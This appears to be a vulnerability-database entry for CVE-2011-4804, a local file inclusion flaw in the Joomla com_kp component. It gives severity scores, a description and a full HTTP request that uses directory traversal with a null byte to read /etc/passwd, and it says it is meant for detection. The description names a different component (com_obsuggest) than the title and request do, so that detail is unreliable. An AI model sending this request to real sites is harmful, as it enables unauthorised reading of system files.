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CVE-2011-4804: Joomla! Component com_kp - 'Controller' Local File Inclusion

TitleJoomla! Component com_kp - 'Controller' Local File Inclusion
Authordaffainfo
SeverityMedium
ImpactThe vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score5
EPSS Score0.30722
CVE IDCVE-2011-4804
CWE IDCWE-22
Tags cve cve2011 lfi edb joomla foobla vuln

🔍 Vulnerability Description

A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

🌐 HTTP Request

GET /index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-4804.yaml

🦈 Packet Capture: ⬇️ Download cve-2011-4804.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A